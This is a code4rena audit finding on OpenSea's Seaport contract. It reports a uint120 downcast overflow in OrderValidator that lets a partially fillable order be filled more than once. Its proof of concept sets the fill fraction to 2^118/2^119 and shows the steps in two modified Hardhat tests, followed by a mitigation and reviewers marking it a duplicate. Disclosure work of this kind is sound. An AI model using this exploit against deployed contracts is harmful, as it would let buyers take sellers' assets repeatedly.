Fulfilling an order more than once

[code423n4]

Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L197-L239

Vulnerability details

Impact

Any (non basic or FULL) order can be fulfilled more than once, assuming the offerer has approved the contract the right amounts. This is a valid assumption as users may max-approve the contract/conduits, or have multiple orders with the same items open so the approve will be more than the order amount.

Proof of Concept

In this example I'll show how to fulfill an order and after the fulfillment make it become like it is un-fulfilled, i.e. its n and d will be 0 again. I'll assume that the order isn;t partially filled, which means I'm the first to interact with it (or another attacker performed this attack (; ).

1. The attacker calls one of the fulfillment functions with n = 1 and d = 2 and fulfill it regularly.
2. The attacker calls one of the fulfillment functions one more time, this time with n = 2 ** 118 and d = 2 ** 119 and fulfill the other half of it.
3. The function that calculates the new order's n and d will calculate them as the following:

new order n = 1 * 2**119 + 2 * 2**118 = 2**120

new order d = 2 * 2**119 = 2**120

and the new n and d will be calculated as the following:

current order n = 2**118 * 2 = 2**119

current order d = 2**119 * 2 = 2**120

Because of the order's n and d aren't casted back to uint120 and the amounts calculations are using uint256s, they will be valid and the calculations won't revert, which means that the fulfillment of the other half will succeed.

But the order's new n and d are casted to uint120 when saved back to storage, and because the maximal value of uint120 is 2**120 - 1, the new n and d will be 2**120 % 2**120 = 0.

This casting won't revert because solidity doesn't add a check for casting numeric variables that losses information. This will make the order "unfulfillable", i.e. it can be fulfilled regularly again.

• A very important note is that the check that the order amount must be completed cleanly, which means that the order amounts must be divisible by 2.

To assure this bug and exploit are correct, I modified 2 tests from the test file.

These are the modified tests:

it("Partial fills (standard)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0, i.e. unfulfilled order
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );

  // fulfill half of the order
  order.numerator = 1;
  order.denominator = 2;

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2, i.e. half of it is fulfilled
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );

  // fulfill half of the order, using the exploit's values
  order.numerator = BigNumber.from(2).pow(118);
  order.denominator = BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0 even though the order is fully fulfilled
  // i.e. the exploit works
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 0, 0)
  );

  // fill half of the order again to check that it is re-fulfillable
  order.numerator = 1; 
  order.denominator = 2; 

  const ordersClone = JSON.parse(JSON.stringify([order]));
  for (const [, clonedOrder] of Object.entries(ordersClone)) {
    clonedOrder.parameters.startTime = order.parameters.startTime;
    clonedOrder.parameters.endTime = order.parameters.endTime;

    for (const [j, offerItem] of Object.entries(
      clonedOrder.parameters.offer
    )) {
      offerItem.startAmount = order.parameters.offer[j].startAmount;
      offerItem.endAmount = order.parameters.offer[j].endAmount;
    }

    for (const [j, considerationItem] of Object.entries(
      clonedOrder.parameters.consideration
    )) {
      considerationItem.startAmount =
        order.parameters.consideration[j].startAmount;
      considerationItem.endAmount =
        order.parameters.consideration[j].endAmount;
    }
  }

  ordersClone[0].numerator = 1;
  ordersClone[0].denominator = 2;

  await withBalanceChecks(ordersClone, 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order: ordersClone[0],
          orderHash,
          fulfiller: buyer.address,
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  // check that the order's n and d are 1 and 2
  // i.e. half of it is fulfilled (which is actually one and a half)
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );
});

it("Partial fills (standard, additional permutations)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0, i.e. unfulfilled order
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );

  // fulfill half of the order
  order.numerator = 1; 
  order.denominator = 2; 

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2, i.e. half of it is fulfilled
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );

  // fulfill half of the order using the exploit's values
  order.numerator = BigNumber.from(2).pow(118);
  order.denominator = BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 0 even though the order is fully fulfilled
  // i.e. the exploit works
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 0, 0)
  );

  // fill half of the order again to check that it is re-fulfillable
  order.numerator = 1;
  order.denominator = 2;

  const ordersClone = JSON.parse(JSON.stringify([order]));
  for (const [, clonedOrder] of Object.entries(ordersClone)) {
    clonedOrder.parameters.startTime = order.parameters.startTime;
    clonedOrder.parameters.endTime = order.parameters.endTime;

    for (const [j, offerItem] of Object.entries(
      clonedOrder.parameters.offer
    )) {
      offerItem.startAmount = order.parameters.offer[j].startAmount;
      offerItem.endAmount = order.parameters.offer[j].endAmount;
    }

    for (const [j, considerationItem] of Object.entries(
      clonedOrder.parameters.consideration
    )) {
      considerationItem.startAmount =
        order.parameters.consideration[j].startAmount;
      considerationItem.endAmount =
        order.parameters.consideration[j].endAmount;
    }
  }

  ordersClone[0].numerator = 1;
  ordersClone[0].denominator = 2;

  await withBalanceChecks(ordersClone, 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order: ordersClone[0],
          orderHash,
          fulfiller: buyer.address,
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  // check that the order's n and d are 1 and 2
  // i.e. half of it is fulfilled (which is actually one and a half)
  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(true, false, 1, 2)
  );
});

When running the tests, the passed! Which means the expected n and d are the actual values, and that the exploit actually works!

Tools Used

Remix, VS Code and my brain.

Recommended Mitigation Steps

Check that n < type(uint120).max && d < type(uint120).max before down-casting n and d from uint256 to uint120. That will prevent the invalid values of n and d from being saved to the storage.

[0age]

same, duplicate of the partial fill issue

[HardlyDifficult]

Dupe of #77